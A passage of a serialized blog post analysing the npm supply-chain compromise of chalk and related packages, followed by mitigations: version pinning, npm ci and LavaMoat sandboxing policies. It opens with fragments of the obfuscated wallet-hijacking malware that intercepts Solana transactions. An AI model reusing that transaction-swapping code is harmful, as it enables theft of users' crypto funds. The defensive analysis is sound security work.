'solana_signAndSendTransaction'",{"type":24,"tag":158,"props":99808,"children":99809},{"style":188},[99810],{"type":29,"value":723},{"type":24,"tag":158,"props":99812,"children":99813},{"style":222},[99814],{"type":29,"value":85093},{"type":24,"tag":158,"props":99816,"children":99817},{"class":160,"line":684},[99818,99822,99826,99830],{"type":24,"tag":158,"props":99819,"children":99820},{"style":177},[99821],{"type":29,"value":99664},{"type":24,"tag":158,"props":99823,"children":99824},{"style":188},[99825],{"type":29,"value":347},{"type":24,"tag":158,"props":99827,"children":99828},{"style":177},[99829],{"type":29,"value":99560},{"type":24,"tag":158,"props":99831,"children":99832},{"style":222},[99833],{"type":29,"value":53956},{"type":24,"tag":158,"props":99835,"children":99836},{"class":160,"line":700},[99837,99841,99845,99849,99853,99857],{"type":24,"tag":158,"props":99838,"children":99839},{"style":177},[99840],{"type":29,"value":99664},{"type":24,"tag":158,"props":99842,"children":99843},{"style":188},[99844],{"type":29,"value":347},{"type":24,"tag":158,"props":99846,"children":99847},{"style":177},[99848],{"type":29,"value":99560},{"type":24,"tag":158,"props":99850,"children":99851},{"style":188},[99852],{"type":29,"value":2048},{"type":24,"tag":158,"props":99854,"children":99855},{"style":465},[99856],{"type":29,"value":5682},{"type":24,"tag":158,"props":99858,"children":99859},{"style":188},[99860],{"type":29,"value":2647},{"type":24,"tag":158,"props":99862,"children":99863},{"class":160,"line":785},[99864],{"type":24,"tag":158,"props":99865,"children":99866},{"style":188},[99867],{"type":29,"value":99868}," ) {\n",{"type":24,"tag":158,"props":99870,"children":99871},{"class":160,"line":1447},[99872,99876],{"type":24,"tag":158,"props":99873,"children":99874},{"style":1914},[99875],{"type":29,"value":71258},{"type":24,"tag":158,"props":99877,"children":99878},{"style":188},[99879],{"type":29,"value":210},{"type":24,"tag":158,"props":99881,"children":99882},{"class":160,"line":1509},[99883,99887,99892,99896,99900,99904,99908,99912,99916],{"type":24,"tag":158,"props":99884,"children":99885},{"style":165},[99886],{"type":29,"value":4303},{"type":24,"tag":158,"props":99888,"children":99889},{"style":177},[99890],{"type":29,"value":99891}," _0x5ad975",{"type":24,"tag":158,"props":99893,"children":99894},{"style":222},[99895],{"type":29,"value":462},{"type":24,"tag":158,"props":99897,"children":99898},{"style":177},[99899],{"type":29,"value":99551},{"type":24,"tag":158,"props":99901,"children":99902},{"style":188},[99903],{"type":29,"value":347},{"type":24,"tag":158,"props":99905,"children":99906},{"style":177},[99907],{"type":29,"value":99560},{"type":24,"tag":158,"props":99909,"children":99910},{"style":188},[99911],{"type":29,"value":2048},{"type":24,"tag":158,"props":99913,"children":99914},{"style":465},[99915],{"type":29,"value":5682},{"type":24,"tag":158,"props":99917,"children":99918},{"style":188},[99919],{"type":29,"value":32835},{"type":24,"tag":158,"props":99921,"children":99922},{"class":160,"line":1527},[99923,99927,99931,99936,99940,99945],{"type":24,"tag":158,"props":99924,"children":99925},{"style":1914},[99926],{"type":29,"value":40551},{"type":24,"tag":158,"props":99928,"children":99929},{"style":188},[99930],{"type":29,"value":2262},{"type":24,"tag":158,"props":99932,"children":99933},{"style":177},[99934],{"type":29,"value":99935},"_0x5ad975",{"type":24,"tag":158,"props":99937,"children":99938},{"style":188},[99939],{"type":29,"value":347},{"type":24,"tag":158,"props":99941,"children":99942},{"style":177},[99943],{"type":29,"value":99944},"transaction",{"type":24,"tag":158,"props":99946,"children":99947},{"style":188},[99948],{"type":29,"value":16038},{"type":24,"tag":158,"props":99950,"children":99951},{"class":160,"line":1545},[99952,99957,99961,99965,99969,99973],{"type":24,"tag":158,"props":99953,"children":99954},{"style":177},[99955],{"type":29,"value":99956}," _0x5ad975",{"type":24,"tag":158,"props":99958,"children":99959},{"style":222},[99960],{"type":29,"value":462},{"type":24,"tag":158,"props":99962,"children":99963},{"style":177},[99964],{"type":29,"value":99891},{"type":24,"tag":158,"props":99966,"children":99967},{"style":188},[99968],{"type":29,"value":347},{"type":24,"tag":158,"props":99970,"children":99971},{"style":177},[99972],{"type":29,"value":99944},{"type":24,"tag":158,"props":99974,"children":99975},{"style":188},[99976],{"type":29,"value":473},{"type":24,"tag":158,"props":99978,"children":99979},{"class":160,"line":1618},[99980],{"type":24,"tag":158,"props":99981,"children":99982},{"style":188},[99983],{"type":29,"value":3549},{"type":24,"tag":158,"props":99985,"children":99986},{"class":160,"line":1635},[99987,99991,99996,100000,100004,100008,100012,100016,100020],{"type":24,"tag":158,"props":99988,"children":99989},{"style":165},[99990],{"type":29,"value":32808},{"type":24,"tag":158,"props":99992,"children":99993},{"style":177},[99994],{"type":29,"value":99995}," _0x5dbe63",{"type":24,"tag":158,"props":99997,"children":99998},{"style":222},[99999],{"type":29,"value":462},{"type":24,"tag":158,"props":100001,"children":100002},{"style":496},[100003],{"type":29,"value":99620},{"type":24,"tag":158,"props":100005,"children":100006},{"style":188},[100007],{"type":29,"value":504},{"type":24,"tag":158,"props":100009,"children":100010},{"style":177},[100011],{"type":29,"value":99935},{"type":24,"tag":158,"props":100013,"children":100014},{"style":188},[100015],{"type":29,"value":191},{"type":24,"tag":158,"props":100017,"children":100018},{"style":165},[100019],{"type":29,"value":4404},{"type":24,"tag":158,"props":100021,"children":100022},{"style":188},[100023],{"type":29,"value":1071},{"type":24,"tag":158,"props":100025,"children":100026},{"class":160,"line":1644},[100027,100031,100035,100039,100043,100047,100051,100055,100059,100063],{"type":24,"tag":158,"props":100028,"children":100029},{"style":1914},[100030],{"type":29,"value":40551},{"type":24,"tag":158,"props":100032,"children":100033},{"style":188},[100034],{"type":29,"value":2262},{"type":24,"tag":158,"props":100036,"children":100037},{"style":177},[100038],{"type":29,"value":99525},{"type":24,"tag":158,"props":100040,"children":100041},{"style":188},[100042],{"type":29,"value":347},{"type":24,"tag":158,"props":100044,"children":100045},{"style":177},[100046],{"type":29,"value":99560},{"type":24,"tag":158,"props":100048,"children":100049},{"style":188},[100050],{"type":29,"value":2048},{"type":24,"tag":158,"props":100052,"children":100053},{"style":465},[100054],{"type":29,"value":5682},{"type":24,"tag":158,"props":100056,"children":100057},{"style":188},[100058],{"type":29,"value":51620},{"type":24,"tag":158,"props":100060,"children":100061},{"style":177},[100062],{"type":29,"value":99944},{"type":24,"tag":158,"props":100064,"children":100065},{"style":188},[100066],{"type":29,"value":16038},{"type":24,"tag":158,"props":100068,"children":100069},{"class":160,"line":1652},[100070,100075,100079,100083,100087,100091,100095,100099,100103,100107],{"type":24,"tag":158,"props":100071,"children":100072},{"style":177},[100073],{"type":29,"value":100074}," _0x2c3d7e",{"type":24,"tag":158,"props":100076,"children":100077},{"style":188},[100078],{"type":29,"value":347},{"type":24,"tag":158,"props":100080,"children":100081},{"style":177},[100082],{"type":29,"value":99560},{"type":24,"tag":158,"props":100084,"children":100085},{"style":188},[100086],{"type":29,"value":2048},{"type":24,"tag":158,"props":100088,"children":100089},{"style":465},[100090],{"type":29,"value":5682},{"type":24,"tag":158,"props":100092,"children":100093},{"style":188},[100094],{"type":29,"value":51620},{"type":24,"tag":158,"props":100096,"children":100097},{"style":177},[100098],{"type":29,"value":99944},{"type":24,"tag":158,"props":100100,"children":100101},{"style":222},[100102],{"type":29,"value":462},{"type":24,"tag":158,"props":100104,"children":100105},{"style":177},[100106],{"type":29,"value":99995},{"type":24,"tag":158,"props":100108,"children":100109},{"style":188},[100110],{"type":29,"value":473},{"type":24,"tag":158,"props":100112,"children":100113},{"class":160,"line":1704},[100114,100118,100122],{"type":24,"tag":158,"props":100115,"children":100116},{"style":188},[100117],{"type":29,"value":40204},{"type":24,"tag":158,"props":100119,"children":100120},{"style":1914},[100121],{"type":29,"value":4978},{"type":24,"tag":158,"props":100123,"children":100124},{"style":188},[100125],{"type":29,"value":210},{"type":24,"tag":158,"props":100127,"children":100128},{"class":160,"line":1713},[100129,100133,100137,100141,100145,100149,100153,100157,100161],{"type":24,"tag":158,"props":100130,"children":100131},{"style":177},[100132],{"type":29,"value":100074},{"type":24,"tag":158,"props":100134,"children":100135},{"style":188},[100136],{"type":29,"value":347},{"type":24,"tag":158,"props":100138,"children":100139},{"style":177},[100140],{"type":29,"value":99560},{"type":24,"tag":158,"props":100142,"children":100143},{"style":188},[100144],{"type":29,"value":2048},{"type":24,"tag":158,"props":100146,"children":100147},{"style":465},[100148],{"type":29,"value":5682},{"type":24,"tag":158,"props":100150,"children":100151},{"style":188},[100152],{"type":29,"value":2058},{"type":24,"tag":158,"props":100154,"children":100155},{"style":222},[100156],{"type":29,"value":1285},{"type":24,"tag":158,"props":100158,"children":100159},{"style":177},[100160],{"type":29,"value":99995},{"type":24,"tag":158,"props":100162,"children":100163},{"style":188},[100164],{"type":29,"value":473},{"type":24,"tag":158,"props":100166,"children":100167},{"class":160,"line":1731},[100168],{"type":24,"tag":158,"props":100169,"children":100170},{"style":188},[100171],{"type":29,"value":3549},{"type":24,"tag":158,"props":100173,"children":100174},{"class":160,"line":5485},[100175,100179,100183,100187,100192],{"type":24,"tag":158,"props":100176,"children":100177},{"style":188},[100178],{"type":29,"value":17015},{"type":24,"tag":158,"props":100180,"children":100181},{"style":1914},[100182],{"type":29,"value":49682},{"type":24,"tag":158,"props":100184,"children":100185},{"style":188},[100186],{"type":29,"value":2262},{"type":24,"tag":158,"props":100188,"children":100189},{"style":177},[100190],{"type":29,"value":100191},"_0x4b99fd",{"type":24,"tag":158,"props":100193,"children":100194},{"style":188},[100195],{"type":29,"value":99721},{"type":24,"tag":158,"props":100197,"children":100198},{"class":160,"line":5493},[100199],{"type":24,"tag":158,"props":100200,"children":100201},{"style":188},[100202],{"type":29,"value":4366},{"type":24,"tag":158,"props":100204,"children":100205},{"class":160,"line":5553},[100206],{"type":24,"tag":158,"props":100207,"children":100208},{"style":188},[100209],{"type":29,"value":307},{"type":24,"tag":395,"props":100211,"children":100213},{"id":100212},"impact-of-the-attack",[100214],{"type":29,"value":100215},"Impact of the Attack",{"type":24,"tag":25,"props":100217,"children":100218},{},[100219],{"type":29,"value":100220},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":24,"tag":59,"props":100222,"children":100224},{"id":100223},"why-it-will-happen-again",[100225],{"type":29,"value":100226},"Why It Will Happen Again",{"type":24,"tag":25,"props":100228,"children":100229},{},[100230],{"type":29,"value":100231},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":24,"tag":25,"props":100233,"children":100234},{},[100235],{"type":29,"value":100236},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":24,"tag":59,"props":100238,"children":100240},{"id":100239},"what-developers-can-do",[100241],{"type":29,"value":100242},"What Developers Can Do",{"type":24,"tag":25,"props":100244,"children":100245},{},[100246],{"type":29,"value":100247},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":24,"tag":395,"props":100249,"children":100251},{"id":100250},"_1-version-pinning-in-packagejson",[100252,100254],{"type":29,"value":100253},"1. Version pinning in ",{"type":24,"tag":154,"props":100255,"children":100257},{"className":100256},[],[100258],{"type":29,"value":100259},"package.json",{"type":24,"tag":25,"props":100261,"children":100262},{},[100263],{"type":29,"value":100264},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":24,"tag":25,"props":100266,"children":100267},{},[100268,100270,100276,100278,100283,100285,100290],{"type":29,"value":100269},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":24,"tag":154,"props":100271,"children":100273},{"className":100272},[],[100274],{"type":29,"value":100275},"npm install",{"type":29,"value":100277},". To pin it, just make sure to remove the caret ",{"type":24,"tag":154,"props":100279,"children":100281},{"className":100280},[],[100282],{"type":29,"value":50205},{"type":29,"value":100284}," symbol before the version in ",{"type":24,"tag":154,"props":100286,"children":100288},{"className":100287},[],[100289],{"type":29,"value":100259},{"type":29,"value":225},{"type":24,"tag":147,"props":100292,"children":100294},{"code":100293,"language":35260,"meta":7,"className":35258,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[100295],{"type":24,"tag":154,"props":100296,"children":100297},{"__ignoreMap":7},[100298,100319,100340,100361],{"type":24,"tag":158,"props":100299,"children":100300},{"class":160,"line":161},[100301,100306,100310,100315],{"type":24,"tag":158,"props":100302,"children":100303},{"style":1108},[100304],{"type":29,"value":100305},"\"@react-native-async-storage/async-storage\"",{"type":24,"tag":158,"props":100307,"children":100308},{"style":188},[100309],{"type":29,"value":16566},{"type":24,"tag":158,"props":100311,"children":100312},{"style":1108},[100313],{"type":29,"value":100314},"\"1.23.1\"",{"type":24,"tag":158,"props":100316,"children":100317},{"style":188},[100318],{"type":29,"value":235},{"type":24,"tag":158,"props":100320,"children":100321},{"class":160,"line":213},[100322,100327,100331,100336],{"type":24,"tag":158,"props":100323,"children":100324},{"style":1108},[100325],{"type":29,"value":100326},"\"@react-native-community/datetimepicker\"",{"type":24,"tag":158,"props":100328,"children":100329},{"style":188},[100330],{"type":29,"value":16566},{"type":24,"tag":158,"props":100332,"children":100333},{"style":1108},[100334],{"type":29,"value":100335},"\"8.3.0\"",{"type":24,"tag":158,"props":100337,"children":100338},{"style":188},[100339],{"type":29,"value":235},{"type":24,"tag":158,"props":100341,"children":100342},{"class":160,"line":238},[100343,100348,100352,100357],{"type":24,"tag":158,"props":100344,"children":100345},{"style":1108},[100346],{"type":29,"value":100347},"\"@react-native-community/netinfo\"",{"type":24,"tag":158,"props":100349,"children":100350},{"style":188},[100351],{"type":29,"value":16566},{"type":24,"tag":158,"props":100353,"children":100354},{"style":1108},[100355],{"type":29,"value":100356},"\"11.4.1\"",{"type":24,"tag":158,"props":100358,"children":100359},{"style":188},[100360],{"type":29,"value":235},{"type":24,"tag":158,"props":100362,"children":100363},{"class":160,"line":259},[100364,100369,100373],{"type":24,"tag":158,"props":100365,"children":100366},{"style":1108},[100367],{"type":29,"value":100368},"\"@react-native-picker/picker\"",{"type":24,"tag":158,"props":100370,"children":100371},{"style":188},[100372],{"type":29,"value":16566},{"type":24,"tag":158,"props":100374,"children":100375},{"style":1108},[100376],{"type":29,"value":100377},"\"2.11.0\"\n",{"type":24,"tag":395,"props":100379,"children":100381},{"id":100380},"_2-use-npm-ci",[100382,100384],{"type":29,"value":100383},"2. Use ",{"type":24,"tag":154,"props":100385,"children":100387},{"className":100386},[],[100388],{"type":29,"value":100389},"npm ci",{"type":24,"tag":25,"props":100391,"children":100392},{},[100393,100398,100400,100406,100408,100413],{"type":24,"tag":154,"props":100394,"children":100396},{"className":100395},[],[100397],{"type":29,"value":100389},{"type":29,"value":100399}," uses the dependency versions from ",{"type":24,"tag":154,"props":100401,"children":100403},{"className":100402},[],[100404],{"type":29,"value":100405},"package-lock.json",{"type":29,"value":100407}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":24,"tag":154,"props":100409,"children":100411},{"className":100410},[],[100412],{"type":29,"value":100275},{"type":29,"value":100414}," when adding a new package or updating an existing one.",{"type":24,"tag":395,"props":100416,"children":100418},{"id":100417},"_3-implement-lavamoat",[100419,100421],{"type":29,"value":100420},"3. Implement ",{"type":24,"tag":101,"props":100422,"children":100425},{"href":100423,"rel":100424},"https://github.com/LavaMoat/LavaMoat/tree/main",[105],[100426],{"type":24,"tag":897,"props":100427,"children":100428},{},[100429],{"type":29,"value":100430},"Lavamoat",{"type":24,"tag":25,"props":100432,"children":100433},{},[100434],{"type":29,"value":100435},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":24,"tag":25,"props":100437,"children":100438},{},[100439],{"type":29,"value":100440},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":24,"tag":147,"props":100442,"children":100444},{"code":100443,"language":35260,"meta":7,"className":35258,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[100445],{"type":24,"tag":154,"props":100446,"children":100447},{"__ignoreMap":7},[100448,100460,100472,100483,100499,100506,100513,100525,100536,100556,100572,100579,100590,100610,100626,100633,100640],{"type":24,"tag":158,"props":100449,"children":100450},{"class":160,"line":161},[100451,100456],{"type":24,"tag":158,"props":100452,"children":100453},{"style":1108},[100454],{"type":29,"value":100455},"\"resources\"",{"type":24,"tag":158,"props":100457,"children":100458},{"style":188},[100459],{"type":29,"value":38286},{"type":24,"tag":158,"props":100461,"children":100462},{"class":160,"line":213},[100463,100468],{"type":24,"tag":158,"props":100464,"children":100465},{"style":177},[100466],{"type":29,"value":100467}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":158,"props":100469,"children":100470},{"style":188},[100471],{"type":29,"value":38286},{"type":24,"tag":158,"props":100473,"children":100474},{"class":160,"line":238},[100475,100479],{"type":24,"tag":158,"props":100476,"children":100477},{"style":177},[100478],{"type":29,"value":38294},{"type":24,"tag":158,"props":100480,"children":100481},{"style":188},[100482],{"type":29,"value":38286},{"type":24,"tag":158,"props":100484,"children":100485},{"class":160,"line":259},[100486,100491,100495],{"type":24,"tag":158,"props":100487,"children":100488},{"style":177},[100489],{"type":29,"value":100490}," \"TextEncoder\"",{"type":24,"tag":158,"props":100492,"children":100493},{"style":188},[100494],{"type":29,"value":16566},{"type":24,"tag":158,"props":100496,"children":100497},{"style":165},[100498],{"type":29,"value":38455},{"type":24,"tag":158,"props":100500,"children":100501},{"class":160,"line":280},[100502],{"type":24,"tag":158,"props":100503,"children":100504},{"style":188},[100505],{"type":29,"value":3549},{"type":24,"tag":158,"props":100507,"children":100508},{"class":160,"line":301},[100509],{"type":24,"tag":158,"props":100510,"children":100511},{"style":188},[100512],{"type":29,"value":26638},{"type":24,"tag":158,"props":100514,"children":100515},{"class":160,"line":626},[100516,100521],{"type":24,"tag":158,"props":100517,"children":100518},{"style":177},[100519],{"type":29,"value":100520}," \"@ethereumjs/util\"",{"type":24,"tag":158,"props":100522,"children":100523},{"style":188},[100524],{"type":29,"value":38286},{"type":24,"tag":158,"props":100526,"children":100527},{"class":160,"line":668},[100528,100532],{"type":24,"tag":158,"props":100529,"children":100530},{"style":177},[100531],{"type":29,"value":38294},{"type":24,"tag":158,"props":100533,"children":100534},{"style":188},[100535],{"type":29,"value":38286},{"type":24,"tag":158,"props":100537,"children":100538},{"class":160,"line":676},[100539,100544,100548,100552],{"type":24,"tag":158,"props":100540,"children":100541},{"style":177},[100542],{"type":29,"value":100543}," \"console.warn\"",{"type":24,"tag":158,"props":100545,"children":100546},{"style":188},[100547],{"type":29,"value":16566},{"type":24,"tag":158,"props":100549,"children":100550},{"style":165},[100551],{"type":29,"value":3185},{"type":24,"tag":158,"props":100553,"children":100554},{"style":188},[100555],{"type":29,"value":235},{"type":24,"tag":158,"props":100557,"children":100558},{"class":160,"line":684},[100559,100564,100568],{"type":24,"tag":158,"props":100560,"children":100561},{"style":177},[100562],{"type":29,"value":100563}," \"fetch\"",{"type":24,"tag":158,"props":100565,"children":100566},{"style":188},[100567],{"type":29,"value":16566},{"type":24,"tag":158,"props":100569,"children":100570},{"style":165},[100571],{"type":29,"value":38455},{"type":24,"tag":158,"props":100573,"children":100574},{"class":160,"line":700},[100575],{"type":24,"tag":158,"props":100576,"children":100577},{"style":188},[100578],{"type":29,"value":38463},{"type":24,"tag":158,"props":100580,"children":100581},{"class":160,"line":785},[100582,100586],{"type":24,"tag":158,"props":100583,"children":100584},{"style":177},[100585],{"type":29,"value":38471},{"type":24,"tag":158,"props":100587,"children":100588},{"style":188},[100589],{"type":29,"value":38286},{"type":24,"tag":158,"props":100591,"children":100592},{"class":160,"line":1447},[100593,100598,100602,100606],{"type":24,"tag":158,"props":100594,"children":100595},{"style":177},[100596],{"type":29,"value":100597}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":158,"props":100599,"children":100600},{"style":188},[100601],{"type":29,"value":16566},{"type":24,"tag":158,"props":100603,"children":100604},{"style":165},[100605],{"type":29,"value":3185},{"type":24,"tag":158,"props":100607,"children":100608},{"style":188},[100609],{"type":29,"value":235},{"type":24,"tag":158,"props":100611,"children":100612},{"class":160,"line":1509},[100613,100618,100622],{"type":24,"tag":158,"props":100614,"children":100615},{"style":177},[100616],{"type":29,"value":100617}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":24,"tag":158,"props":100619,"children":100620},{"style":188},[100621],{"type":29,"value":16566},{"type":24,"tag":158,"props":100623,"children":100624},{"style":165},[100625],{"type":29,"value":38455},{"type":24,"tag":158,"props":100627,"children":100628},{"class":160,"line":1527},[100629],{"type":24,"tag":158,"props":100630,"children":100631},{"style":188},[100632],{"type":29,"value":3549},{"type":24,"tag":158,"props":100634,"children":100635},{"class":160,"line":1545},[100636],{"type":24,"tag":158,"props":100637,"children":100638},{"style":188},[100639],{"type":29,"value":3967},{"type":24,"tag":158,"props":100641,"children":100642},{"class":160,"line":1618},[100643],{"type":24,"tag":158,"props":100644,"children":100645},{"style":188},[100646],{"type":29,"value":307},{"type":24,"tag":25,"props":100648,"children":100649},{},[100650,100652,100658,100660,100666,100667,100672,100674,100680,100681,100687],{"type":29,"value":100651},"In this example, it restricts the ",{"type":24,"tag":154,"props":100653,"children":100655},{"className":100654},[],[100656],{"type":29,"value":100657},"@ethereumjs/util",{"type":29,"value":100659}," package to use only ",{"type":24,"tag":154,"props":100661,"children":100663},{"className":100662},[],[100664],{"type":29,"value":100665},"console.warn",{"type":29,"value":1826},{"type":24,"tag":154,"props":100668,"children":100670},{"className":100669},[],[100671],{"type":29,"value":35357},{"type":29,"value":100673}," functions, and to include only ",{"type":24,"tag":154,"props":100675,"children":100677},{"className":100676},[],[100678],{"type":29,"value":100679},"@ethereumjs/rlp",{"type":29,"value":1826},{"type":24,"tag":154,"props":100682,"children":100684},{"className":100683},[],[100685],{"type":29,"value":100686},"ethereum-cryptography",{"type":29,"value":100688}," packages.",{"type":24,"tag":25,"props":100690,"children":100691},{},[100692],{"type":29,"value":100693},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":24,"tag":25,"props":100695,"children":100696},{},[100697,100699,100705],{"type":29,"value":100698},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":24,"tag":101,"props":100700,"children":100703},{"href":100701,"rel":100702},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[105],[100704],{"type":29,"value":38641},{"type":29,"value":347},{"type":24,"tag":395,"props":100707,"children":100709},{"id":100708},"lavamoat-vs-qix-malware",[100710],{"type":29,"value":100711},"Lavamoat vs Qix Malware",{"type":24,"tag":25,"props":100713,"children":100714},{},[100715,100717,100722],{"type":29,"value":100716},"If a dApp were compromised with the Qix malware (say it used ",{"type":24,"tag":154,"props":100718,"children":100720},{"className":100719},[],[100721],{"type":29,"value":98562},{"type":29,"value":100723},"), it would need to perform the following actions to drain funds from a wallet:",{"type":24,"tag":1786,"props":100725,"children":100726},{},[100727,100739,100750,100761],{"type":24,"tag":1790,"props":100728,"children":100729},{},[100730,100732,100737],{"type":29,"value":100731},"Replace ",{"type":24,"tag":154,"props":100733,"children":100735},{"className":100734},[],[100736],{"type":29,"value":35357},{"type":29,"value":100738}," function to a custom one",{"type":24,"tag":1790,"props":100740,"children":100741},{},[100742,100744],{"type":29,"value":100743},"Access ",{"type":24,"tag":154,"props":100745,"children":100747},{"className":100746},[],[100748],{"type":29,"value":100749},"window.ethereum",{"type":24,"tag":1790,"props":100751,"children":100752},{},[100753,100755,100760],{"type":29,"value":100754},"Call original ",{"type":24,"tag":154,"props":100756,"children":100758},{"className":100757},[],[100759],{"type":29,"value":35357},{"type":29,"value":39478},{"type":24,"tag":1790,"props":100762,"children":100763},{},[100764],{"type":29,"value":100765},"Plus other actions not relevant here",{"type":24,"tag":25,"props":100767,"children":100768},{},[100769,100771,100777],{"type":29,"value":100770},"If the dApp is using Lavamoat with a generated policy for ",{"type":24,"tag":154,"props":100772,"children":100774},{"className":100773},[],[100775],{"type":29,"value":100776},"chalk 5.6.0",{"type":29,"value":100778}," (non-malicious version) it would look like this:",{"type":24,"tag":147,"props":100780,"children":100782},{"code":100781,"language":35260,"meta":7,"className":35258,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[100783],{"type":24,"tag":154,"props":100784,"children":100785},{"__ignoreMap":7},[100786,100798,100809,100829,100845,100852],{"type":24,"tag":158,"props":100787,"children":100788},{"class":160,"line":161},[100789,100794],{"type":24,"tag":158,"props":100790,"children":100791},{"style":1108},[100792],{"type":29,"value":100793},"\"chalk\"",{"type":24,"tag":158,"props":100795,"children":100796},{"style":188},[100797],{"type":29,"value":38286},{"type":24,"tag":158,"props":100799,"children":100800},{"class":160,"line":213},[100801,100805],{"type":24,"tag":158,"props":100802,"children":100803},{"style":177},[100804],{"type":29,"value":38294},{"type":24,"tag":158,"props":100806,"children":100807},{"style":188},[100808],{"type":29,"value":38286},{"type":24,"tag":158,"props":100810,"children":100811},{"class":160,"line":238},[100812,100817,100821,100825],{"type":24,"tag":158,"props":100813,"children":100814},{"style":177},[100815],{"type":29,"value":100816}," \"navigator.userAgent\"",{"type":24,"tag":158,"props":100818,"children":100819},{"style":188},[100820],{"type":29,"value":16566},{"type":24,"tag":158,"props":100822,"children":100823},{"style":165},[100824],{"type":29,"value":3185},{"type":24,"tag":158,"props":100826,"children":100827},{"style":188},[100828],{"type":29,"value":235},{"type":24,"tag":158,"props":100830,"children":100831},{"class":160,"line":259},[100832,100837,100841],{"type":24,"tag":158,"props":100833,"children":100834},{"style":177},[100835],{"type":29,"value":100836}," \"navigator.userAgentData\"",{"type":24,"tag":158,"props":100838,"children":100839},{"style":188},[100840],{"type":29,"value":16566},{"type":24,"tag":158,"props":100842,"children":100843},{"style":165},[100844],{"type":29,"value":38455},{"type":24,"tag":158,"props":100846,"children":100847},{"class":160,"line":280},[100848],{"type":24,"tag":158,"props":100849,"children":100850},{"style":188},[100851],{"type":29,"value":3549},{"type":24,"tag":158,"props":100853,"children":100854},{"class":160,"line":301},[100855],{"type":24,"tag":158,"props":100856,"children":100857},{"style":188},[100858],{"type":29,"value":26638},{"type":24,"tag":25,"props":100860,"children":100861},{},[100862,100864,100870],{"type":29,"value":100863},"That means that the chalk dependency can only access these two global attributes from ",{"type":24,"tag":154,"props":100865,"children":100867},{"className":100866},[],[100868],{"type":29,"value":100869},"navigator",{"type":29,"value":347},{"type":24,"tag":25,"props":100872,"children":100873},{},[100874,100876,100882],{"type":29,"value":100875},"When the compromised dApp would execute the malicious payload of ",{"type":24,"tag":154,"props":100877,"children":100879},{"className":100878},[],[100880],{"type":29,"value":100881},"chalk v5.6.1",{"type":29,"value":100883}," it would fail due to insufficient permissions:",{"type":24,"tag":25,"props":100885,"children":100886},{},[100887],{"type":24,"tag":84,"props":100888,"children":100890},{"alt":51850,"src":100889},"/posts/supply-chain-attcks/error.png",[],{"type":24,"tag":25,"props":100892,"children":100893},{},[100894,100896,100901],{"type":29,"value":100895},"This error shows that the malware failed since it cannot redefine ",{"type":24,"tag":154,"props":100897,"children":100899},{"className":100898},[],[100900],{"type":29,"value":35357},{"type":29,"value":26725},{"type":24,"tag":147,"props":100903,"children":100905},{"code":100904},"TypeError#1: Cannot define property fetch, object is not extensible\n",[100906],{"type":24,"tag":154,"props":100907,"children":100908},{"__ignoreMap":7},[100909],{"type":29,"value":100904},{"type":24,"tag":59,"props":100911,"children":100913},{"id":100912},"lavamoat-in-practice",[100914],{"type":29,"value":100915},"Lavamoat In Practice",{"type":24,"tag":25,"props":100917,"children":100918},{},[100919,100921,100928],{"type":29,"value":100920},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":24,"tag":101,"props":100922,"children":100925},{"href":100923,"rel":100924},"https://osec.io/reports/lavamoat_audit_final.pdf",[105],[100926],{"type":29,"value":100927},"see the audit report",{"type":29,"value":21986},{"type":24,"tag":25,"props":100930,"children":100931},{},[100932],{"type":29,"value":100933},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":24,"tag":59,"props":100935,"children":100936},{"id":77075},[100937],{"type":29,"value":77078},{"type":24,"tag":25,"props":100939,"children":100940},{},[100941],{"type":29,"value":100942},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":24,"tag":25,"props":100944,"children":100945},{},[100946,100948,100953],{"type":29,"value":100947},"Version pinning and 